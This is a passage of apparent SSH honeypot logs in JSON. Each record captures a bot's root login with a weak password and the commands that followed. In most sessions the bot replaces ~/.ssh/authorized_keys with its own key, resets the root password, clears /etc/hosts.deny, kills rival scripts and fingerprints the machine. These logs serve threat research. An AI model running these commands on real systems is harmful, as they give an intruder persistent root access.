GNU/Linux"},{"seq":27,"at":"2026-08-26T16:14:49.745561+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:14:50.136245+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:14:50.660622+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:14:52.007316+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:14:52.537051+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:14:53.665482+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"@a123456","method":"password","accepted":true,"tier":"other"}]} {"id":"781f0fa7-6ac3-47ca-8792-2ab888a6ad06","name":"leafy-shifting-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"14.225.173.146","src_port":35112,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1424,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:02:51.702893+00:00","ended_at":"2026-08-26T16:02:52.866853+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-26T16:02:20.406846+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:02:22.409743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:02:29.587046+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:02:29.589423+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:02:30.456567+00:00","kind":"input","latency_ms":null,"data":"echo \"root:23rf9aIcpuLI\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:02:30.968307+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T16:02:31.526660+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-26T16:02:32.674855+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T16:02:32.675576+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T16:02:34.530756+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T16:02:35.092275+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T16:02:35.970500+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T16:02:36.610234+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T16:02:37.487224+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T16:02:37.487991+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T16:02:38.361845+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T16:02:38.362390+00:00","kind":"output","latency_ms":null,"data":" 16:02:38 up 6 days, 12:52, 0 user, load average: 0.05, 0.06, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T16:02:39.894580+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T16:02:39.895055+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T16:02:41.047726+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T16:02:41.048502+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T16:02:43.318144+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T16:02:43.318960+00:00","kind":"output","latency_ms":null,"data":"top - 16:02:43 up 6 days, 12:52, 0 user, load average: 0.05, 0.06, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T16:02:44.950506+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T16:02:44.951276+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T16:02:46.754538+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T16:02:46.754867+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T16:02:48.549104+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T16:02:48.549719+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T16:02:49.699065+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T16:02:50.279079+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T16:02:51.703395+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T16:02:52.312145+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1@Qwerty","method":"password","accepted":true,"tier":"other"}]} {"id":"5b25c425-c234-4dc7-bda4-d6e2658d8df6","name":"quartz-wiry-skua","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40859,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:49:09.436344+00:00","ended_at":"2026-08-26T15:49:10.787654+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:48:41.829565+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:48:42.575481+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:48:48.258736+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:48:48.991791+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:48:49.741519+00:00","kind":"input","latency_ms":null,"data":"echo \"root:sPZLs0lz2nU7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:48:50.492180+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:48:51.235496+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:48:51.978488+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:48:52.728213+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:48:53.862520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:48:54.609023+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:48:55.431294+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:48:56.181282+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:48:56.487176+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:48:57.236112+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:48:57.965205+00:00","kind":"output","latency_ms":null,"data":" 15:48:57 up 6 days, 12:39, 0 user, load average: 0.05, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:48:58.712516+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:48:59.053720+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:48:59.803541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:49:00.615093+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:49:01.362395+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:49:02.246373+00:00","kind":"output","latency_ms":null,"data":"top - 15:49:02 up 6 days, 12:39, 0 user, load average: 0.05, 0.05, 0.05\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:49:02.994831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:49:03.344165+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:49:04.092027+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:49:04.975955+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:49:05.722515+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:49:06.508547+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:49:07.257009+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:49:08.692069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:49:09.437743+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:49:10.549246+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty!@34","method":"password","accepted":true,"tier":"other"}]} {"id":"238c40fd-2f41-4e7b-8be5-5c55bffbf280","name":"lofty-golden-shrike","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40856,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":751,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:46:24.778927+00:00","ended_at":"2026-08-26T15:46:26.192802+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:45:56.620116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:45:57.371828+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:46:03.749062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:46:04.548548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:46:05.300529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:dmz8PgwjvPTf\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:46:06.053664+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:46:06.800792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:46:07.167740+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:46:07.920782+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:46:08.876929+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:46:09.635147+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:46:10.926078+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:46:11.684181+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:46:12.408827+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:46:13.161343+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:46:13.812182+00:00","kind":"output","latency_ms":null,"data":" 15:46:13 up 6 days, 12:36, 0 user, load average: 0.05, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:46:14.562815+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:46:15.097131+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:46:15.845810+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:46:16.565512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:46:17.317637+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:46:18.050567+00:00","kind":"output","latency_ms":null,"data":"top - 15:46:18 up 6 days, 12:36, 0 user, load average: 0.05, 0.05, 0.05\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:46:18.801766+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:46:19.317130+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:46:20.068281+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:46:20.511768+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:46:21.263704+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:46:22.053936+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:46:22.804989+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:46:24.029176+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:46:24.779758+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:46:25.955005+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5432154321","method":"password","accepted":true,"tier":"other"}]} {"id":"8f7bd20e-1159-44f4-bb63-40cbc6eeec44","name":"vaulted-umber-chough","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40850,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":762,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:41:00.967613+00:00","ended_at":"2026-08-26T15:41:02.413847+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:40:34.408283+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:40:35.169886+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:40:40.590110+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:40:41.048893+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:40:41.810886+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6gPfv5RNNhZx\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:40:42.572567+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:40:43.335938+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:40:44.086110+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:40:44.849092+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:40:46.209027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:40:46.973913+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:40:48.384153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:40:49.147143+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:40:49.757367+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:40:50.519887+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:40:51.201146+00:00","kind":"output","latency_ms":null,"data":" 15:40:51 up 6 days, 12:30, 0 user, load average: 0.35, 0.45, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:40:51.961418+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:40:52.278225+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:40:53.039650+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:40:53.616879+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:40:54.380733+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:40:54.939352+00:00","kind":"output","latency_ms":null,"data":"top - 15:40:54 up 6 days, 12:31, 0 user, load average: 0.35, 0.45, 0.32\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:40:55.707257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:40:56.079746+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:40:56.845180+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:40:57.419297+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:40:58.181580+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:40:58.618155+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:40:59.380831+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:41:00.206904+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:41:00.968506+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:41:02.175855+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aA12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"6749b97d-7b2e-42a8-bdc8-99cfa995d58a","name":"wooded-mellow-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40838,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":757,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:30:07.414904+00:00","ended_at":"2026-08-26T15:30:08.845919+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T15:29:39.222501+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:29:39.976990+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 